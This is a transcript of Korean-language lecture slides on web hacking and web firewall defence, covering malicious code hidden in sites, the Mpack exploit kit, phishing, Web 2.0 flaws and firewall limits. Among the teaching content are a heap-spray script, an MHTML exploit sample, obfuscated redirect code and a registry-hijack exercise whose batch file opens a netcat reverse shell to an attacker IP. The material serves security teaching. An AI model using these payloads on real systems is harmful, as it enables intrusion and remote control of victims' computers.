슬라이드 1

Download Report

Transcript 슬라이드 1

1
Section III 웹 해킹 고도화 기법과 웹 방화벽 보안상 향상
17. 웹 사이트 악성코드 은닉
18. 웹 해킹 툴(Mpack)
19. 피싱
20. Web2.0의 취약점
21. 홈 페이지변조 감시
22. 웹 보안 솔루션의 한계
2
학습 포인트
1. 최근 웹 해킹 기법에 대한 이해
2. 최근 빠르게 성장하는 Web2.0의 보안 문제점
3. 웹 방화벽에 대한 이해 및 효과적 활용방안
3
17. 악성코드 은닉의 이해
4
17. 악성코드 은닉의 이해 - 악용대상
구분
설명
Adult
성인 및 포르노 관련 사이트
Music
유명 아티스트 및 밴드 관련 사이트
News
정치 및 스포츠, 엔터테인먼트 관련 사이트
User Content
Blog와 같은 사용자 저작물 사이트
Warez
해킹 및 소프트웨어 크랙 툴 등
Defaced
해킹을 당했던 시스템 등(홈페이지 변조 등)
Typo
유명사이트의 주소 입력 오타로 인해 접근되는 사이트
예) www.googel.com 등
5
17. 악성코드 은닉의 이해 - 악용사례
○ MHTML URL Processing 취약점 악용
(1) Internet Explorer는 프로토콜 핸들러를 통해 MHTML 형식의 파일에 접근가능
(2) 그러나 IE가 프로토콜 핸들러(mk@MSITStore) 통해 접속할 수 없는 경우
(3) 대체 주소로 접근하고 실행
아래 샘플코드를 보면 로컬 시스템에 c:\nosuchfile.mht 파일이 존재하지 않을 때
원격지 http://www.XXX.com/exploit._chm::exploit.html 파일을 로컬 파일로 실행시킬 수 있다.
* MHTML 프로토콜 핸들러 취약점 샘플
<object width=0 height=0 style=display:none;type=text/xscriptlet" Data=mk@MSITStore:mhtml:c:\nos
uchfile.mht!http://www.XXX.com/exploit._chm::exploit.html>
</object>
6
17. 악성코드 은닉의 이해 - 악용사례
○ MS 웹 브라우저 7 버전 취약점 악용
홈 페이지를 해킹하여 페이지 중간에 링크(Iframe 태그)를 걸어 외부 URL 접속을 유도함
7
17. 악성코드 은닉의 이해 - 악용사례
○ MS 웹 브라우저 7 버전 취약점 악용(계속)
hankyong.cn/css/js.htm 접속시 아래와 같은 코드가 포함된 사이트로 접속되고
웹 브라우저의 취약점을 악용한 버퍼오버플로우 공격의 일종임
<script language="javascript">function spray(sc){var addre = 0x0a0a0a0a;var fucker = unescape;
var doit = fucker(sc);var heapBlockSize = 0x100000;var payLoadSize = doit.length * 2;var spraySlide
Size = heapBlockSize - (payLoadSize+0x038);var spraySlide = fucker("%u0a0a%u0a0a");spraySlid
e = getSpraySlide(spraySlide,spraySlideSize);heapBlocks = (addre - 0x100000)/heapBlockSize;me
mory = new Array();for (i=0;i<heapBlocks;i++){
memory[i] = spraySlide + doit;}}function getSprayS
lide(spraySlide, spraySlideSize){while //seemen
(spraySlide.length*2<spraySlideSize){
spraySlide += spraySlide;}spraySlide = spraySlide.substrin
g(0,spraySlideSize/2);return spraySlide;}</script>
8
17. 악성코드 은닉의 이해 - 악용사례
○ MS 웹 브라우저 7 버전 취약점 악용(계속)
buf
buf
buf
buf
buf
SFP
ESP
RET
EIP
void main(void)
{
EBP
스택의 모습
char buf[5];
char attack=aa..a;
// aa를 10개 입력
strcpy(buf, attack);
}
cmd.exe 실행
메모리 구조
9
17. 악성코드 은닉의 이해 – Redirect 기법
메타태그
<html>
<head>
<meta http-equiv="refresh" content="0;URL=http://www.maliciouscode.com/">
</head>
<body>
<a href="http://www.xxx.com/cgi-bin/whole.cgi?podstavos=">
</a>
</body>
</html>
10
17. 악성코드 은닉의 이해 – Redirect 기법
자바 스크립트 Location 태그
<script>
location = "http://www.maliciouscode.com";
</script>
Iframe 태그
<iframe src=“http://www.malicious.com/” width=xxx>hello world!!
</iframe>
11
17. 악성코드 은닉의 이해 – Redirect 기법
Unescape() 및 unescape() 함수를 이용한 URI 인코딩(obfuscated 기법)
escape('&#$%^')==>%26%23%24%25%5E
unescape('%26%23%24%25%5E')==>&#$%^
<script language=“javascript”>
document.write(unescape(“%3Cscript….”);
</script>
12
17. 악성코드 은닉의 이해 – Redirect 기법
obfuscated 기법
01:
<SCRIPT LANGUAGE="JavaScript">
02:
{var temp="",i,c=0,out="";
03 :
str="60!115!99!114!105!112!116!32!116!121!112!101!61!34!116!101!120!116!47!10
6!97!118!97!115!99!114!105!112!116!34!62!13!10!105!102!32!40!116!111!112!46!108!111!99!97
!116!105!1!108!111!99!97!116!105!111!110!46!104!114!101!102!32!61!32!100!111!99!117!109!1
01!112!";
04:
l=str.length;
05:
while(c<=str.length-1)
06:
{while(str.charAt(c)!='!')temp=temp+str.charAt(c++);
07:
c++;
08:
out=out+String.fromCharCode(temp);
09:
temp="";}document.write(out);
10:
}
11:
</SCRIPT>
13
17. 악성코드 은닉의 이해 – Redirect 기법
obfuscated 코드가 포함된 사이트 분석(1)
해당 파일을 클릭하여 사이트로 접속 – 위험한 방법
URL 확인
14
17. 악성코드 은닉의 이해 – Redirect 기법
obfuscated 코드가 포함된 사이트 분석(2)
이벤트를 화면으로 출력하는 형태로 변경
15
17. 악성코드 은닉의 이해 – Redirect 기법(ARP Spoofing)
16
17. 악성코드 은닉의 이해 – Redirect 기법(ARP Spoofing)
감염의 특징
(1) 특정서버의 권한을 획득하고 악성 프로그램 설치
(2) 특정 서버에 설치된 악성코드가 주기적인 MAC주소 브로드캐스팅을 통해 웹 서버를 가장함
( 특정서버는 자신의 MAC주소를 웹 서버의 MAC주소라고 속이는 패킷을 LAN상에 전송 )
철수 PC
공격자
영희 PC
(3) 사용자의 요청된 데이터를 변조하여 Response에 Iframe 악성 태그 삽입
17
17. 악성코드 은닉의 이해 – Redirect 기법
arp 프로토콜(static, dynamic)
Who has the following ip :
141.23.56.23
It’s me
My mac is a46e…
18
17. 악성코드 은닉의 이해 – Redirect 기법
arp 프로토콜(static, dynamic)
19
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(1) 파일을 만들어 직접 접속(단 offline상태에서 수행)
(2) 프록시 도구를 이용하여 생성파일 클릭 – 자바스크립트 분석 및 URL 접속
(3) 프로그램 소스 디버깅 툴을 이용한 분석
20
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(3) 프로그램 소스 디버깅 툴을 이용한 분석(계속)
21
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(4) 솔루션을 이용한 악성코드 탐지 기법 – Virus 검색 사이트
22
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(5) 솔루션을 이용한 악성코드 탐지 기법 – 허니팟
-
High Interaction HoneyPots
: 침입 이벤트 발생 시 시스템 변화를 모니터링하여 악성코드 탐지
-
Low Interaction HoneyPots
: 사전 등록된 패턴을 이용하여 악성코드 탐지
그림. Spybye구성도
23
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(5) 솔루션을 이용한 악성코드 탐지 기법 – 허니팟(Low Interactions HoneyPots)
24
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(5) 레지스트리 분석을 통한 악성코드 탐지 기법
① HKEY_CLASSES_ ROOT
이 곳에 저장되는 것은 OLE 데이터와 파일의 각 확장자에 대한 정보, 각 파일과 프로그
램간의 연결에 대한 정보가 들어 있다. HKEY_CLASSES_ROOT안에는 파일의 확장자들에
대한 sub-tree 로 구성되는데 일반적으로 각 확장자는 파일 타입과 연결되어 있음
② HKEY_CURRENT_ USER
윈도우가 설치되어 있는 컴퓨터의 환경에 대한 설정이 담겨 있는 곳으로 하나의 윈도우를
여러 명이 사용할 경우, 사용자들이 각각에 대한 ID 와 패스워드를 이용하여 윈도우에 접속
했을 때 접속한 사용자가 맞추어 놓은 설정을 반영하기 위한 곳이다.
③ HKEY_ LOCAL_MACHINE
컴퓨터에 설치된 하드웨어를 구동 시키는데 필요한 드라이버나 설정 사항에 관련된 정보를 모아 둔
곳이다. 프린터와 화면 설정 등과 같이 컴퓨터를 켜고 윈도우를 부팅할 시에 필요한 설정, 컴퓨터에
설치된 하드디스크 드라이브나 플로피 드라이브, 플러그앤 플레이를 지원하는 하드웨어에 관한 정보,
디바이스 드라이버나 시스템에서 사용하는 소프트웨어에 관한 전반적인 정보를 담고 있다.
25
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(5) 레지스트리 분석을 통한 악성코드 탐지 기법
④ HKEY_ USER
HKEY_CURRENT_USER에 저장된 정보와 데스크 탑 설정, 네트워크 연결 등의 정보가 저
장되어 있으며 USER.DAT에 저장한다. 즉, 윈도우를 사용하는 사람이 한 사람일 경우 모든
설정 사항이 HKEY_CURRENT_USER의 내용과 일치하게 된다.
⑤ HKEY_CURRENT_CONFIG
레지스트리 중에서 가장 단순한 부분으로 HKEY_LOCAL_MACHINE에 서브로 존재하는
Config의 내용이 담겨 있다. 즉, 디스플레이와 프린터에 관한 설정만을 볼 수 있다.
⑥ HKEY_ DYN_ DATA
윈도우 2000에서는 없어진 레지스트리로 자주 사용하는 하드웨어 장치의 정보를 따로 저
장하는 윈도우의 모니터 역할의 정보가 담겨있다.
26
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(5) 레지스트리 분석을 통한 악성코드 탐지 기법
윈도우 부팅 시 프로그램 자동 시작 위치
HKLM/Software/Microsoft/Windows/CurrentVersion/Run
HKLM/Software/Microsoft/Windows/CurrentVersion/RunOnce
HKLM/Software/Microsoft/Windows/CurrentVersion/RunOnceEx
HKLM/Software/Microsoft/Windows/CurrentVersion/RunServices
HKLM/Software/Microsoft/Windows/CurrentVersion/RunServicesOnce
HKLM/Software/Microsoft/Windows/CurrentVersion/Windows/Load
HKLM/Software/Microsoft/Windows/CurrentVersion/Windows/Run
HKLM/Software/Microsoft/Windows/CurrentVersion/Winlogon/Userinit
HKCU/Software/Microsoft/Windows/CurrentVersion/Run
HKCU/Software/Microsoft/Windows/CurrentVersion/RunOnce
HKCU/Software/Microsoft/Windows/CurrentVersion/RunOnceEx
HKCU/Software/Microsoft/Windows/CurrentVersion/RunServicesOnce
27
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(5) 레지스트리 분석을 통한 악성코드 탐지 기법
이름 : W32.Ogleon.A는 이동식 저장 장치를 통해 확산되는 웜
발견됨: 2007년 6월 26일
업데이트됨: 2007년 6월 28일 5:57:58 AM
유형: Worm
감염 길이: 282,491바이트
영향을 받는 시스템: Windows 2000, Windows 95, Windows 98, Windows Me,
Windows NT, Windows Server 2003, Windows XP
아래의 레지스트리 항목에 등록되어, 윈도우 시작 시 자동 실행
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"Microsoft
Autorun14" = "%System%\ztinetzt.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"Microsoft
Autorun9" = "%System%\Ravasktao.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"Microsoft
Autorun7" = "%System%\nwiztlbu.exe"
28
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(5) 레지스트리 분석을 통한 악성코드 탐지 기법 – Autoruns을 통한 시작 위치 확인
29
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(6) 레지스트리 변조
파일 확장자 정보 연결을 결정하는 HKEY_CLASSES_ROOT 위치의 값을 조작
HKEY_CLASSES_ROOT(파일 확장자에 따른 프로그램 연결 정보 포함)
[HKEY_CLASSES_ROOT\exefile\shell\open\command] @=""%1" %*"
[HKEY_CLASSES_ROOT\comfile\shell\open\command] @=""%1" %*"
[HKEY_CLASSES_ROOT\batfile\shell\open\command]
@=""%1" %*"
[HKEY_CLASSES_ROOT\htafile\shell\open\command]
@=""%1" %*"
[HKEY_CLASSES_ROOT\piffile\shell\open\command]
@=""%1" %*"
[HKEY_LOCAL_MACHINE\CLASSES\batfile\shell\open\command] @=""%1" %*"
[HKEY_LOCAL_MACHINE\CLASSES\batfile\shell\open\command] @=""%1" %*"
[HKEY_LOCAL_MACHINE\CLASSES\batfile\shell\open\command] @=""%1" %*"
[HKEY_LOCAL_MACHINE\CLASSES\batfile\shell\open\command] @=""%1" %*"
[HKEY_LOCAL_MACHINE\CLASSES\batfile\shell\open\command] @=""%1" %*"
30
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(6) 실습 – 레지스트리 변조
HKEY_LOCAL_MACHINE\CLASSES\batfile\shell\open\command 정보를 조작하여
로컬의 원도의 쉘(cmd)을 공격자에게 전송(TCP 6000 연결)
TCP 6000 cmd.exe
로컬
사용자가 *.bat 실행 시
자동으로 start.bat 실행
공격자
Listening 6000번
31
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(6) 실습 – 레지스트리 변조
BAT 확장자를 가진 파일 실행 시 윈도우 쉘(cmd)을 TCP 6000번으로 전송
원본 :
[HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command] @="\"%1\" %*"
변경 :
C:\start.bat “%1” %*
start.bat 내용
@echo off
Start /I /MIN c:\nc 1.1.1.1 6000 –e cmd.exe
32
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(7) 분석도구의 필요성
많은 실행 프로세스들을 가지고 있으며 이러한 프로세스 중에는 공격자가 실행시켜 놓은 악성프
로그램이 실행되고 있거나 흔적이 남아 있을 수 있으니 자세히 확인해 볼 필요 있음
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(7) 분석도구 종류
34
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(7) 분석도구 - Icesword
프로세스, 네트워크, 시작 프로그램 등의 상세한 정보를 제공하여 악성코드 탐지에 사용
35
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(7) 분석도구 - GMER
시스템 스캔 기능을 통해 악성코드 사용여부를 검사할 수 있음
36
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(7) 분석도구 - GMER
Question:
Answer:
How to remove Rustock rootkit ? ?
When GMER detects hidden service click "Delete the service" and answer YES to all questions.
37
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(7) 의심스런 프로세스 분석 방법(1)
프로세스의 실행 위치를 파악하여 프로그램의 목적(개발사, 설치 위치, 프로그램의 상세한 정보 등)을
파악하여 의심스런 프로세스 여부를 파악할 수 있음
IceSword
프로세스 실행 위치
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(7) 의심스런 프로세스 분석 방법(2)
분석도구에서 확인된 프로세스의 용도를 알 수 없는 경우
http://www.liutilities.com/products/wintaskspro/processlibrary/
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(7) 의심스런 프로세스 분석 방법(3)
http://www.file.net
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(7) 의심스런 프로세스 분석 방법(4)
System
C:\Program Files\Java\jre1.5.0_11\bin\jusched.exe
C:\WINDOWS\system32\svchost.exe
C:\Program Files\Fasoo DRM\fph.exe
C:\WINDOWS\system32\WinSPMsv.exe
C:\WINDOWS\system32\ctfmon.exe
C:\Program Files\Adobe\Acrobat 6.0\Distillr\acrotray.exe
C:\WINDOWS\system32\smss.exe
C:\WINDOWS\system32\csrss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\scvhost.exe
C:\WINDOWS\system32\igfxtray.exe
C:\WINDOWS\system32\hkcmd.exe
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(7) 의심스런 프로세스 분석 방법(5)
File.net 검색 결과
If scvhost.exe is located in a subfolder of C:\Windows\System32 then the security
rating is 71% dangerous. File size is 1682432 bytes.
If scvhost.exe is located in a subfolder of
"C:\Documents and Settings" then the security rating is 39% dangerous.
File size is 27648 bytes (50% of all occurrence), 307678 bytes.
18. 웹 해킹 툴(Mpack)
Mpack을 통한 감염 경로
Mpack Server
18. 웹 해킹 툴(Mpack)
Mpack의 공격 과정
(1) MPack(v0.90)은 스스로 웹 사이트 취약점을 찾거나 공격하는 프로그램은 아님
(2) MPack 프로그램이 설치된 웹 사이트에 접속한 Client 브라우저의 HTTP_USER_AGENT 헤더를 분
석하여 Client OS, 브라우저 종류/버전 그리고 서비스 팩 버전 등을 확인한다.
(3) MPack은 분석된 Client 정보를 기반으로, 해당 Client에 존재할 수 있는 취약점에 해당하는 공격
코드를 Client 웹 브라우저에 응답 데이터로 전송한다.
ROT-5 적용
- MS06-014 : MDAC Code Execution
- MS06-044 : Microsoft Management Console Code Execution
- MS06-071 : XML overflow XP/2k3
ROT-5 미 적용
- MS06-006 : Firefox 1.5.x ?Opera 7.x – Window Media Player Code Execution
- MS06-057 : Window Explorer Code Execution - WebViewFolderIcon overflow
- WinZip ActiveX overflow
- QuickTime overflow
- MS07-017 : ANI overflow
18. 웹 해킹 툴(Mpack)
Mpack의 공격 과정
45
18. 웹 해킹 툴(Mpack)
Mpack 감염증상
구분
역할
File
Write
process
Created
file
Write
process
Terminated
registry
SetvalueKey
file
Write
file
write
process
Created
registry
SetvalueKey
process
Created
file
Write
process
Created
registry
SetvaluKey
관련 파일
기타 관련 파일
C:\program files\Internet Explorer\IEXPLORE
C:\syswcon.exe
.EXE
C:\program files\Internet Explorer\IEXPLORE
C:\syswcon.exe
.EXE
C:\windows\system32\
C:\syswcon.exe
Drivers\uzcx.exe
C:\program files\Internet Explorer\IEXPLORE
C:\syswcon.exe
.EXE
C:\windows\system32\
HKCU\Software\ewrew\
Drivers\uzcx.exe
Uzcx\main\cid
C:\document and settings\cseifert\local settings
C:\windows\system32\
\temporary Internetfiles \conten.IE5\OPUJWX6
Drivers\uzcx.exe
3\benupd32[1].exe
C:\windows\system32\
C:\windows\benupd32.exe
Drivers\uzcx.exe
C:\windows\system32\
C:\windows\benupd32.exe
Drivers\uzcx.exe
C:\windows\system32\
HKCU\software\ewrew\uzcx\main\term
Drivers\uzcx.exe
C:\windows\benupd32.exe
C:\windows\benupd32.exe
C:\Documents and Settings\cseifert\local settin
gs\Temp\clean\336s7.dll
C:\windows\benupd32.exe
C:\windows\system32\regsvr32.exe
C:\windows\explorer.exe
HKLM\SYSTEM\ControlSet001\Services\Idrsvc
\Parameters\serviceDLL
46
19. 피싱
피싱(Private Information + Fishing) 개념
1) 취약한 사이트 시스템 권한을 획득하여 가짜 웹 사이트를 운영한다.
2)
무차별 메일 발송 ( 개인정보 만료가 되었으니 정보를 업 데이트 !! )
3)
사용자 메일의 링크 사이트 클릭
4)
사용자 개인 정보 입력, 공격자는 해당 정보를 이용하여 금융 거래를 한다.
47
19. 피싱
피싱(Private Information + Fishing) 개념
48
19. 피싱
URL 주소 변조
사용자는 앞단 링크로 보이지만 실제로는 @뒤에 URL 페이지를 방문하게 된다.
예) http://www.XXX.com%01%[email protected]/index.html
URL Redirection 링크
- http://www.google.com/url?q=http://www.evenstar.co.kr&sa=X&oi=unauthorizedredirect
&ct=targetlink&ust=1215765263970950&usg=AFQjCNEG9cks6_zJI3UdVOUXsreUZy_DAQ
URL Typo
http://www.googel.com (원본: www.google.com)
49
19. 피싱
URL Obfuscation
<script language="JavaScript">e = '0x00' + '5F';str1 =
"%E4%BC%B7%AA%C0%AD%AC%A7%B4%BB%E3%FE%AA%B7%AD%B7%BE%B7%B4%B
7%AC%A7%E6%B8%B7
%BC%BC%BB%B2%FE%E2%E4%B7%BA%AE%BF%B3%BB%C0%AD%AE%BD%E3%FE%B
8%AC%AC%B0%E6%F1
%F1%B0%AE%BF%BC%B1%E9%F2%BD%B1%B3%F1%AC%AE%BA%F1%FE%C0%A9%B7
%BC%AC%B8%E3%EF
%C0%B8%BB%B7%B9%B8%AC%E3%EF%E2%E4%F1%B7%BA%AE%BF%B3%BB%E2%E4
%F1%BC%B7%AA%E2";
str=tmp='';for(i=0;i<str1.length;i+=3){tmp =
unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)127);}document.write(str);</script>
IDN(Internationalized Domain Names은 영문자 대신 각 지역 언어의 문자를 그대로 사용하는
다국어 도메인 이름이다.
- http://www.p&#1072;ypal.com (원래 http://www.paypal.com)
(#1072는 십진수로 표기이며 문자열 a를 나타냄)
50
20. Web2.0 취약점
Web 2.0 개념
Web 2.0은 O'Reilly와 Medialive International의 컨퍼런스 브레인스토밍 세션에서 Dale Dougherty
가 Web 2.0을 제안한 것에서 제안됨
Web 1.0과 2.0의 차이
51
20. Web2.0 취약점
Web 2.0 개념
운영 방식
해당 구조의 특징은 현재 사용하는 자바스크립트와 동일하게 웹 브라우저에 종속된 컴포넌트를
통해 웹 서버와 통신을 송.수신 함
• Presentation layer: HTML 문서 구성 역할(HTML/CSS)
• Logic & Process: Ajax 컴포넌트가 존재 및 여러 형태의 자바 스크립트 운영
• Transport: XMLHttpRequest 컴포넌트 존재 및 비동기 통신 방식으로 웹 서버와 XML 데이터 교환
• 웹 서버(Corporate Infrastructure)에는 웹 컨텐츠 및 애플리케이션, DB 등이 운영된다.
52
20. Web2.0 취약점
Web 2.0 보안 이슈
(1) 웹 스캐너로 분석이 가능한가?
- URL 수집을 위해서는 html 파싱이 필요함
- 그러나 Web2.0기반은 자바스크립트 형태로 html 태그를 연결하고 있음
(2) SQL Injection과 같은 취약점이 발생되고 있다.
- HTTP 요청(GET, POST) 정보 노출
- 원격 코드 삽입 및 조작
- SQL Injection 및 XSS 위험성
- 설계 및 응용 프로그램 로직 오류로 인한 문제점
53
20. Web2.0 취약점
Web 2.0 보안 이슈
(1) 웹 스캐너로 분석이 가능한가?
* 게시판 글 처리 자바스크립트 함수
function ViewContnet(articleidx)
{
location.href = "m06_notice04View.asp?BBSIdx=611&page=1
&modesearch=&searchkind=&searchstring=&articleidx=" + articleidx;
}
54
20. Web2.0 취약점
Web 2.0 보안 이슈
(1) 웹 스캐너로 분석이 가능한가?
Web2.0에서도 자바스크립트를 이용하여 URL링크를 작성한다.
* Web 2.0으로 구성된 게시판 글 처리 함수
function getNews()
{
var http;
http = new XMLHttpRequest();
http.open("GET", " getnews.aspx?date=09262006", true);
http.onreadystatechange = function()
{
if (http.readyState == 4) {
var response = http.responseText;
document.getElementById('result').innerHTML = res
ponse;
}
}
http.send(null);
}
55
20. Web2.0 취약점
Web 2.0 보안 이슈
(2) SQL Injection과 같은 취약점이 발생되고 있다.
56
20. Web2.0 취약점
Web 2.0 보안 이슈
(2) SQL Injection과 같은 취약점이 발생되고 있다.
•validation.js 로직
자바스크립트 우회 시도 가능
Function userval(user)
{
Var userRegxp = /^([a-zA-Z]+)$/; // 영문 소문자와 대문자를 입력할 수 있다.
if(userRegxp.test(user) ¡=true)
return false;
else
return true;
}
57
21. 홈 페이지 변조 감시
http://www.zone-h.org/index.php? option=com_attacks&Itemid=43&filter=1&filter_domain=go.kr
58
21. 홈 페이지 변조 감시
* 홈페이지 변조 로그
xxxx-10-28 22:12:40 85.102.168.77 - X.X.X.X 80 PUT /turkish.htm - 201 Microsoft+Data+Access+Int
ernet+Publishing+Provider+DAV+1.1
xxxx-10-28 22:12:42 85.102.168.77 - X.X.X.X 80 GET /index.asp - 200 Microsoft+URL+Control+-+6.
00.8169
xxxx-10-28 22:13:56 85.102.168.77 - X.X.X.X 80 GET /spacer.gif - 404 Mozilla/4.0+(compatible;+MSI
E+6.0;+Windows+NT+5.1;+SV1)
xxxx-10-28 22:14:21 213.219.122.11 - X.X.X.X 80 GET /turkish.htm - 200 Wget/1.9.1
xxxx-10-28 22:14:21 213.219.122.11 - X.X.X.X 80 GET /robots.txt - 404 Wget/1.9.1
xxxx-10-28 22:14:21 213.219.122.11 - X.X.X.X 80 GET /spacer.gif - 404 Wget/1.9.1
xxxx-10-28 22:14:46 202.122.243.167 - X.X.X.X 80 GET /turkish.htm - 200 libwww-perl/5.803
59
22. 웹 보안 솔루션의 한계
웹 방화벽은 URL 학습과정을 통해 허용 가능한 범위를 설정하여 허용여부를 결정한다.
Attacker
공격 삽입
허용범위
공격 시도
60
22. 웹 보안 솔루션의 한계
웹 방화벽 구성 방식
프록시 구조
인라인 구조
61
22. 웹 보안 솔루션의 한계
dosearch.asp?type=xxxx&string=xxxx&submitx=xxxx&submitx=xxxx
62
22. 웹 보안 솔루션의 한계
기본 설정 및 설계오류 등으로 웹 방화벽 적용 후에도 해킹이 발생될 수 있다. !!
업무 설계 오류 우회 시도(1)
http://www.xxxx.co.kr/info/view.php?user_id=1000
user_id 변경
Attacker
http://www.xxxx.co.kr/info/view.php?user_id=1010
63
22. 웹 보안 솔루션의 한계
기본 설정 및 설계오류 등으로 웹 방화벽 적용 후에도 해킹이 발생될 수 있다. !!
업무 설계 오류 우회 시도(2)
http://www.xxxx.co.kr/news/view.php?news_id=1000
view.php 변경
Attacker
http://www.xxxx.co.kr/news/edit.php?news_id=1000
64
22. 웹 보안 솔루션의 한계
기본 설정 및 설계오류 등으로 웹 방화벽 적용 후에도 해킹이 발생될 수 있다. !!
자바 스크립트 우회
• 사이트마다 다양한 형식으로 정형화 되어 있지 않음
( 보안 패턴화 및 룰을 작성 할 수 없다. )
• 웹 브라우저에서만 사용자 요청을 점검한다.
자바 우회
Index.asp
<SCRIPT language="JAVASCRIPT">
function input_Check()
{
….중략 …
Attacker
65
22. 웹 보안 솔루션의 한계
확인 및 측정을 통한 취약성 해결 방식 결정
취약점 해결 방식
NO
발견된 취약점
① 프로그램
수정
② 설정 변경
③ 내용 삭제
④ 웹 방화벽 적용
1
관리자 페이지 노출
-
-
-
접근 통제(IP 통제) 룰 적용
2
기본 설치 페이지 노출
-
-
삭제
CGI 패턴 룰 적용
3
백업 파일 노출
-
-
삭제
백업 확장자 룰 적용
4
SQL Injection
프로그램 에러
처리
500번 에러 처리
-
SQL Injection
5
다운로드 취약점
../ 문자열
필터일
-
-
다운로드 패턴 적용
6
업 로드 취약점
JSP 확장자
필터링
-
-
업로드 위치 파악 필요
7
파라미터 조작을 통한
인증 우회
업무 로직 변경
-
-
-
66